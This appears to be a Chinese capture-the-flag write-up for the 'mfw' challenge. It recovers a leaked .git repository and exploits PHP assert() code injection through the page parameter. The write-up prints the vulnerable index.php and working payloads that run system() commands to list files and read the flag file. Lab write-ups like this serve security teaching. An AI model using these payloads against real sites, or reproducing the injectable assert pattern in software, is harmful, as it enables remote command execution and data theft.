mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

复制代码
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

复制代码
/?page=').system("cat ./templates/flag.php");//
相关推荐
secondyoung39 分钟前
Git使用:rebase用法
c语言·经验分享·git·vscode
萧曵 丶2 小时前
CI/CD 流程
git·ci/cd
import_random2 小时前
[git版本控制]git push(详解)
git
bing_feilong4 小时前
gitee pull 总是需要用户名和密码,该如何设置?
git·gitee
毒鸡蛋4 小时前
GIT报错:Connection to git. closed by remote host.
git
ShallowLin4 小时前
Git简化分支管理(main+develop)
git
犹若故人归14 小时前
Github/Gitee和Git实践
git·gitee·github
007php00715 小时前
mySQL里有2000w数据,Redis中只存20w的数据,如何保证Redis中的数据都是热点数据
数据库·redis·git·mysql·面试·职场和发展·php
fakerth16 小时前
Git 完全指南:从入门到精通
git
XiaoHu020717 小时前
Linux网络编程套接字
linux·服务器·网络·git